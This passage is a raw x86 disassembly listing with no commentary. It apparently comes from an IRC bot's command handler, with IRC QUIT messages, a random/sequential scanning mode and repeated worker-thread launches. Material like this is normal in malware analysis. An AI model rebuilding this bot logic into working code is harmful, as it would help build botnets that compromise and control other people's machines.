inc [ebp+arg_0]
add edi, 40h
cmp [edi], ebx
jnz short loc_40389C
jmp short loc_4038D8
; ---------------------------------------------------------------------------
loc_4038BE: ; CODE XREF: sub_401ACD+1DE3j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_431B00[ecx]
mov [ebp+var_74C], ecx
loc_4038D8: ; CODE XREF: sub_401ACD+1DC8j
; sub_401ACD+1DEFj
cmp [ebp+var_74C], ebx
jz loc_403AE1
push 10h
lea eax, [ebp+var_2D4]
pop edi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], edi
push [ebp+arg_4]
call dword_4CB5F8
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CB6E0
push eax
lea eax, [ebp+var_860]
push eax
call sub_41B5F0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_860]
push eax
call sub_41BE40
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_403980
loc_40395E: ; CODE XREF: sub_401ACD+1EB1j
cmp eax, ebx
jz short loc_403980
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41BE40
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40395E
loc_403980: ; CODE XREF: sub_401ACD+1E8Fj
; sub_401ACD+1E93j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_750], eax
mov eax, [ebp+var_4]
mov [ebp+var_728], eax
mov eax, [ebp+var_8]
mov [ebp+var_724], eax
mov edi, 80h
lea eax, [ebp+var_850]
push edi
push eax
mov [ebp+var_720], 1
call sub_41B980
push offset dword_43D808
push esi
call sub_41C070
add esp, 14h
test eax, eax
jz short loc_4039E2
push esi
lea eax, [ebp+var_7D0]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_4039E8
; ---------------------------------------------------------------------------
loc_4039E2: ; CODE XREF: sub_401ACD+1F00j
mov [ebp+var_7D0], bl
loc_4039E8: ; CODE XREF: sub_401ACD+1F13j
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039FA
mov eax, offset aSequential ; "Sequential"
loc_4039FA: ; CODE XREF: sub_401ACD+1F26j
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C624
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F7
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset loc_40C33D
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_403A84
loc_403A72: ; CODE XREF: sub_401ACD+1FB5j
cmp [ebp+var_71C], ebx
jnz short loc_403A9F
push 32h
call near ptr 26A0F44h
nop
jmp short loc_403A72
; ---------------------------------------------------------------------------
loc_403A84: ; CODE XREF: sub_401ACD+1FA3j
call near ptr 26B0857h
nop
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C5E8
push eax
call sub_41B886
add esp, 0Ch
loc_403A9F: ; CODE XREF: sub_401ACD+1FABj
cmp [ebp+var_8], ebx
jnz short loc_403AC0
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_403AC0: ; CODE XREF: sub_401ACD+1FD5j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
pop ecx
loc_403ACD: ; CODE XREF: sub_401ACD+1D95j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_403818
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_403AE1: ; CODE XREF: sub_401ACD+1E11j
push offset unk_42C5B0
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_403AEB: ; CODE XREF: sub_401ACD+1B66j
; sub_401ACD+1B7Bj
push 5
call sub_40B33F
test eax, eax
pop ecx
jle short loc_403B01
push offset unk_42C590
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_403B01: ; CODE XREF: sub_401ACD+2028j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jz short loc_403B24
push eax
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_403B38
; ---------------------------------------------------------------------------
loc_403B24: ; CODE XREF: sub_401ACD+203Dj
mov edi, 104h
lea eax, [ebp+var_2D50]
push edi
push eax
push ebx
call near ptr 26A0000h
nop
loc_403B38: ; CODE XREF: sub_401ACD+2055j
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403B48
mov esi, offset byte_429110
loc_403B48: ; CODE XREF: sub_401ACD+2074j
push esi
lea eax, [ebp+var_2C4C]
push edi
push eax
call sub_41B980
mov eax, dword_429078
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B40], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B44], ebx
mov [ebp+var_2D54], eax
lea eax, [ebp+var_2B3C]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2ABC], eax
mov eax, [ebp+var_8]
mov [ebp+var_2AB8], eax
lea eax, [ebp+var_2D50]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_2B40]
push offset unk_42C55C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 5
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_2B48], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D54]
push ebx
push eax
push offset byte_411797
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_2B48]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_403C14
loc_403BFE: ; CODE XREF: sub_401ACD+2145j
cmp [ebp+var_2AB4], ebx
jnz loc_40828C
push 32h
nop
call near ptr 26A0F44h
jmp short loc_403BFE
; ---------------------------------------------------------------------------
loc_403C14: ; CODE XREF: sub_401ACD+212Fj
nop
call near ptr 26B0857h
push eax
push offset unk_42C520
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_403C25: ; CODE XREF: sub_401ACD+1B3Cj
; sub_401ACD+1B51j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403C44
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_403C44
push edi
call sub_41B779
pop ecx
jmp short loc_403C49
; ---------------------------------------------------------------------------
loc_403C44: ; CODE XREF: sub_401ACD+2161j
; sub_401ACD+216Cj
mov eax, dword_42907C
loc_403C49: ; CODE XREF: sub_401ACD+2175j
mov esi, [ebp+esi+var_88]
mov [ebp+var_36C8], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B4], eax
jz short loc_403C7C
lea eax, [ebp+var_37CC]
push esi
push eax
call sub_41B886
pop ecx
pop ecx
jmp short loc_403CA7
; ---------------------------------------------------------------------------
loc_403C7C: ; CODE XREF: sub_401ACD+219Cj
lea eax, [ebp+var_4FF4]
push 104h
push eax
nop
call near ptr 26A0B90h
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_4FF4]
push eax
call sub_41B9D1
add esp, 14h
loc_403CA7: ; CODE XREF: sub_401ACD+21ADj
lea eax, [ebp+var_37CC]
push eax
call sub_41AFE0
cmp [ebp+eax+var_37CD], 5Ch
pop ecx
jnz short loc_403CD2
lea eax, [ebp+var_37CC]
push eax
call sub_41AFE0
pop ecx
mov [ebp+eax+var_37CD], bl
loc_403CD2: ; CODE XREF: sub_401ACD+21EFj
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A54]
mov [ebp+var_3A58], esi
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36B8], eax
lea eax, [ebp+var_37CC]
mov [ebp+var_36BC], edi
push eax
push [ebp+var_36C8]
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C4E4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 3
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_36C0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A58]
push ebx
push eax
push offset sub_40F0D6
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_36C0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_403D86
loc_403D74: ; CODE XREF: sub_401ACD+22B7j
cmp [ebp+var_36AC], ebx
jnz short loc_403DA1
push 32h
nop
call near ptr 26A0F44h
jmp short loc_403D74
; ---------------------------------------------------------------------------
loc_403D86: ; CODE XREF: sub_401ACD+22A5j
nop
call near ptr 26B0857h
push eax
push offset unk_42C4A8
loc_403D92: ; CODE XREF: sub_401ACD+241Aj
; sub_401ACD+4D05j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_403DA1: ; CODE XREF: sub_401ACD+22ADj
; sub_401ACD+23FEj ...
cmp [ebp+var_8], ebx
jnz loc_4083BD
push ebx
push edi
jmp loc_407286
; ---------------------------------------------------------------------------
loc_403DB1: ; CODE XREF: sub_401ACD+1B12j
; sub_401ACD+1B27j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403DD0
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_403DD0
push edi
call sub_41B779
pop ecx
jmp short loc_403DD5
; ---------------------------------------------------------------------------
loc_403DD0: ; CODE XREF: sub_401ACD+22EDj
; sub_401ACD+22F8j
mov eax, dword_429080
loc_403DD5: ; CODE XREF: sub_401ACD+2301j
mov [ebp+var_1824], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403DEC
lea eax, [ebp+var_C4]
loc_403DEC: ; CODE XREF: sub_401ACD+2317j
push eax
lea eax, [ebp+var_1964]
push 40h
push eax
call sub_41B980
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403E0E
mov esi, offset dword_43D808
loc_403E0E: ; CODE XREF: sub_401ACD+233Aj
push esi
lea eax, [ebp+var_1924]
push 100h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_19E4]
push [ebp+var_88]
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1810], eax
lea eax, [ebp+var_1964]
push eax
mov [ebp+var_19E8], esi
push [ebp+var_1824]
mov [ebp+var_1814], edi
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C46C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 9
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_1820], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19E8]
push ebx
push eax
push offset word_410A4E
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_1820]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_403EDB
loc_403EC5: ; CODE XREF: sub_401ACD+240Cj
cmp [ebp+var_180C], ebx
jnz loc_403DA1
push 32h
call near ptr 26A0F44h
nop
jmp short loc_403EC5
; ---------------------------------------------------------------------------
loc_403EDB: ; CODE XREF: sub_401ACD+23F6j
nop
call near ptr 26B0857h
push eax
push offset unk_42C430
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_403EEC: ; CODE XREF: sub_401ACD+1AE8j
; sub_401ACD+1AFDj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403EFF
push esi
call sub_41B779
jmp short loc_403F06
; ---------------------------------------------------------------------------
loc_403EFF: ; CODE XREF: sub_401ACD+2428j
push 0Bh
call sub_40B35E
loc_403F06: ; CODE XREF: sub_401ACD+2430j
cmp eax, ebx
pop ecx
jz loc_409855
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BA57
jmp loc_4043BA
; ---------------------------------------------------------------------------
loc_403F26: ; CODE XREF: sub_401ACD+1ABEj
; sub_401ACD+1AD3j
mov eax, dword_4CB570
cmp eax, ebx
jz short loc_403F43
call eax
test eax, eax
jz short loc_403F3C
push offset unk_42C40C
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F3C: ; CODE XREF: sub_401ACD+2466j
push offset unk_42C3E0
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F43: ; CODE XREF: sub_401ACD+2460j
push offset unk_42C3B4
loc_403F48: ; CODE XREF: sub_401ACD+246Dj
; sub_401ACD+2474j ...
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
jmp loc_406CDC
; ---------------------------------------------------------------------------
loc_403F5E: ; CODE XREF: sub_401ACD+1A94j
; sub_401ACD+1AA9j
call sub_40AB32
test eax, eax
jz short loc_403F6E
push offset unk_42C390
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F6E: ; CODE XREF: sub_401ACD+2498j
push offset unk_42C364
jmp short loc_403F48
; ---------------------------------------------------------------------------
loc_403F75: ; CODE XREF: sub_401ACD+1A6Aj
; sub_401ACD+1A7Fj
cmp [ebp+var_8], ebx
jnz short loc_403F94
push ebx
push [ebp+var_4]
push offset dword_42C34C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_403F94: ; CODE XREF: sub_401ACD+24ABj
push ebx
push [ebp+var_4]
call sub_4181D7
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
push offset dword_42C330
jmp loc_404286
; ---------------------------------------------------------------------------
loc_403FB6: ; CODE XREF: sub_401ACD+18FAj
; sub_401ACD+190Fj
push 0Ah
call sub_40B33F
test eax, eax
pop ecx
jle short loc_403FCC
push offset unk_42C304
jmp loc_409602
; ---------------------------------------------------------------------------
loc_403FCC: ; CODE XREF: sub_401ACD+24F3j
push [ebp+var_88]
push [ebp+arg_4]
call sub_419C65
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403FEB
push offset unk_42C2DC
jmp loc_409602
; ---------------------------------------------------------------------------
loc_403FEB: ; CODE XREF: sub_401ACD+2512j
push offset unk_42C2BC
jmp loc_409602
; ---------------------------------------------------------------------------
loc_403FF5: ; CODE XREF: sub_401ACD+18D0j
; sub_401ACD+18E5j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A7CF
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40400E: ; CODE XREF: sub_401ACD+18A6j
; sub_401ACD+18BBj
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_416C29
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_40402B: ; CODE XREF: sub_401ACD+187Cj
; sub_401ACD+1891j
or edi, 0FFFFFFFFh
nop
call near ptr 26C066Dh
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_404054
push esi
call sub_41B779
pop ecx
mov edi, eax
loc_404054: ; CODE XREF: sub_401ACD+257Cj
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_40406D
cmp edi, 0FFFFFFFFh
jnz loc_409855
loc_40406D: ; CODE XREF: sub_401ACD+2595j
push ebx
call sub_41A88C
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42C2A4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
loc_4040AB: ; CODE XREF: sub_401ACD+529Dj
add esp, 24h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_4040B3: ; CODE XREF: sub_401ACD+1852j
; sub_401ACD+1867j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415A30
add esp, 0Ch
push offset dword_42C284
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_4040D1: ; CODE XREF: sub_401ACD+1828j
; sub_401ACD+183Dj
push 27h
call sub_40B33F
test eax, eax
pop ecx
jle short loc_404105
cmp [ebp+var_8], ebx
jnz loc_401E94
push ebx
push [ebp+var_4]
push offset unk_42C264
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
loc_4040FD: ; CODE XREF: sub_401ACD+7238j
add esp, 14h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_404105: ; CODE XREF: sub_401ACD+260Ej
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_AA0], eax
mov [ebp+var_AA8], ebx
jz short loc_404166
push esi
push offset aFull ; "full"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404166
mov [ebp+var_AA8], 1
loc_404166: ; CODE XREF: sub_401ACD+267Cj
; sub_401ACD+268Dj
lea eax, [ebp+var_2C4]
push offset dword_42C240
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 27h
push eax
call sub_40B0F7
add esp, 14h
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_4198EC
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4041D4
loc_4041BE: ; CODE XREF: sub_401ACD+2705j
cmp [ebp+var_A9C], ebx
jnz loc_409631
push 32h
call near ptr 26A0F44h
nop
jmp short loc_4041BE
; ---------------------------------------------------------------------------
loc_4041D4: ; CODE XREF: sub_401ACD+26EFj
nop
call near ptr 26B0857h
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C204
push eax
call sub_41B886
add esp, 0Ch
jmp loc_409631
; ---------------------------------------------------------------------------
loc_4041F4: ; CODE XREF: sub_401ACD+17FEj
; sub_401ACD+1813j
cmp [ebp+var_8], ebx
jnz short loc_404213
push ebx
push [ebp+var_4]
push offset dword_42C1E8
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_404213: ; CODE XREF: sub_401ACD+272Aj
push [ebp+arg_4]
call dword_4CB6EC
call dword_4CB5AC
call sub_41835A
push ebx
nop
call near ptr 77E75CB5h
loc_40422E: ; CODE XREF: sub_401ACD+17D4j
; sub_401ACD+17E9j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41AA43
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
push offset dword_42C1CC
jmp short loc_404286
; ---------------------------------------------------------------------------
loc_404259: ; CODE XREF: sub_401ACD+17AAj
; sub_401ACD+17BFj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF7
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
push offset dword_42C1B0
loc_404286: ; CODE XREF: sub_401ACD+24E4j
; sub_401ACD+278Aj
call sub_4151AD
add esp, 18h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_404293: ; CODE XREF: sub_401ACD+1780j
; sub_401ACD+1795j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41524D
jmp loc_401E91
; ---------------------------------------------------------------------------
loc_4042AC: ; CODE XREF: sub_401ACD+1756j
; sub_401ACD+176Bj
cmp [ebp+var_C], ebx
mov [ebp+var_1594], bl
jz short loc_4042EB
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4042EB
push esi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042EB
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_1594]
push 80h
push eax
call sub_41B980
add esp, 10h
loc_4042EB: ; CODE XREF: sub_401ACD+27E8j
; sub_401ACD+27F3j ...
push [ebp+var_88]
lea eax, [ebp+var_1614]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1618], eax
mov eax, [ebp+var_4]
mov [ebp+var_1510], eax
mov eax, [ebp+var_8]
mov [ebp+var_150C], eax
lea eax, [ebp+var_2C4]
push offset dword_42C198
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 25h
push eax
call sub_40B0F7
add esp, 14h
mov [ebp+var_1514], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1618]
push ebx
push eax
push offset word_41528E
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_1514]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40438E
loc_404378: ; CODE XREF: sub_401ACD+28BFj
cmp [ebp+var_1508], ebx
jnz loc_401E94
push 32h
call near ptr 26A0F44h
nop
jmp short loc_404378
; ---------------------------------------------------------------------------
loc_40438E: ; CODE XREF: sub_401ACD+28A9j
call near ptr 26B0857h
nop
push eax
push offset unk_42C160
jmp loc_402077
; ---------------------------------------------------------------------------
loc_40439F: ; CODE XREF: sub_401ACD+172Cj
; sub_401ACD+1741j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415135
push offset dword_42C148
call sub_4151AD
loc_4043BA: ; CODE XREF: sub_401ACD+2454j
add esp, 10h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_4043C2: ; CODE XREF: sub_401ACD+1702j
; sub_401ACD+1717j
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
jz short loc_40441C
push offset dword_42C144
push esi
call sub_41C070
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_B40], eax
jmp short loc_404422
; ---------------------------------------------------------------------------
loc_40441C: ; CODE XREF: sub_401ACD+2933j
mov [ebp+var_B40], ebx
loc_404422: ; CODE XREF: sub_401ACD+294Dj
lea eax, [ebp+var_2C4]
push offset dword_42C124
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 28h
push eax
call sub_40B0F7
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset word_40B162
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_404490
loc_40447A: ; CODE XREF: sub_401ACD+29C1j
cmp [ebp+var_B34], ebx
jnz loc_406D00
push 32h
nop
call near ptr 26A0F44h
jmp short loc_40447A
; ---------------------------------------------------------------------------
loc_404490: ; CODE XREF: sub_401ACD+29ABj
nop
call near ptr 26B0857h
push eax
push offset unk_42C0E8
jmp loc_409227
; ---------------------------------------------------------------------------
loc_4044A1: ; CODE XREF: sub_401ACD+1686j
; sub_401ACD+169Bj
push offset aScorservs ; "scorservs"
push offset dword_42C0D0
loc_4044AB: ; CODE XREF: sub_401ACD+2A1Dj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 20h
jmp loc_406D00
; ---------------------------------------------------------------------------
loc_4044D8: ; CODE XREF: sub_401ACD+165Cj
; sub_401ACD+1671j
push dword_4CB394
call sub_41A88C
pop ecx
push eax
push offset unk_42C0A4
jmp short loc_4044AB
; ---------------------------------------------------------------------------
loc_4044EC: ; CODE XREF: sub_401ACD+1632j
; sub_401ACD+1647j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40451E
cmp [ebp+var_C], ebx
jz short loc_40452D
push esi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40452D
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 0Ch
jmp short loc_40452D
; ---------------------------------------------------------------------------
loc_40451E: ; CODE XREF: sub_401ACD+2A28j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409A2D
pop ecx
pop ecx
loc_40452D: ; CODE XREF: sub_401ACD+2A2Dj
; sub_401ACD+2A3Cj ...
push 0FFFFFFFEh
jmp loc_401E96
; ---------------------------------------------------------------------------
loc_404534: ; CODE XREF: sub_401ACD+1608j
; sub_401ACD+161Dj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409A2D
push offset dword_42C054
call sub_4151AD
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_404556: ; CODE XREF: sub_401ACD+15DEj
; sub_401ACD+15F3j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2D
push offset dword_42C020
call sub_4151AD
add esp, 0Ch
jmp loc_4097BA
; ---------------------------------------------------------------------------
loc_404575: ; CODE XREF: sub_401ACD+15B4j
; sub_401ACD+15C9j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B7DB
jmp loc_404934
; ---------------------------------------------------------------------------
loc_40458B: ; CODE XREF: sub_401ACD+158Aj
; sub_401ACD+159Fj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B786
jmp loc_404934
; ---------------------------------------------------------------------------
loc_4045A1: ; CODE XREF: sub_401ACD+1560j
; sub_401ACD+1575j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B71A
jmp loc_404934
; ---------------------------------------------------------------------------
loc_4045B7: ; CODE XREF: sub_401ACD+1536j
; sub_401ACD+154Bj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B64B
jmp loc_404934
; ---------------------------------------------------------------------------
loc_4045CD: ; CODE XREF: sub_401ACD+1491j
; sub_401ACD+14A6j
push [ebp+esi+var_8C]
push 27h
push offset dword_42C010
push offset dword_42C000
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_4045E5: ; CODE XREF: sub_401ACD+1467j
; sub_401ACD+147Cj
push [ebp+esi+var_8C]
push 24h
push offset dword_42BFF4
push offset dword_42BFE4
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_4045FD: ; CODE XREF: sub_401ACD+1083j
; sub_401ACD+1098j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_40461C
push edi
call sub_41B779
test eax, eax
pop ecx
jz short loc_40461C
push edi
call sub_41B779
pop ecx
jmp short loc_404621
; ---------------------------------------------------------------------------
loc_40461C: ; CODE XREF: sub_401ACD+2B39j
; sub_401ACD+2B44j
mov eax, dword_429074
loc_404621: ; CODE XREF: sub_401ACD+2B4Dj
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404646
push esi
loc_404633: ; CODE XREF: sub_401ACD+2B88j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_40465D
; ---------------------------------------------------------------------------
loc_404646: ; CODE XREF: sub_401ACD+2B63j
cmp [ebp+var_8FF], bl
jz short loc_404657
lea eax, [ebp+var_C4]
push eax
jmp short loc_404633
; ---------------------------------------------------------------------------
loc_404657: ; CODE XREF: sub_401ACD+2B7Fj
mov [ebp+var_5A0], bl
loc_40465D: ; CODE XREF: sub_401ACD+2B77j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41B980
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BFBC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset word_4111CE
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40470E
loc_4046F8: ; CODE XREF: sub_401ACD+2C3Fj
cmp [ebp+var_57C], ebx
jnz loc_401E94
push 32h
nop
call near ptr 26A0F44h
jmp short loc_4046F8
; ---------------------------------------------------------------------------
loc_40470E: ; CODE XREF: sub_401ACD+2C29j
nop
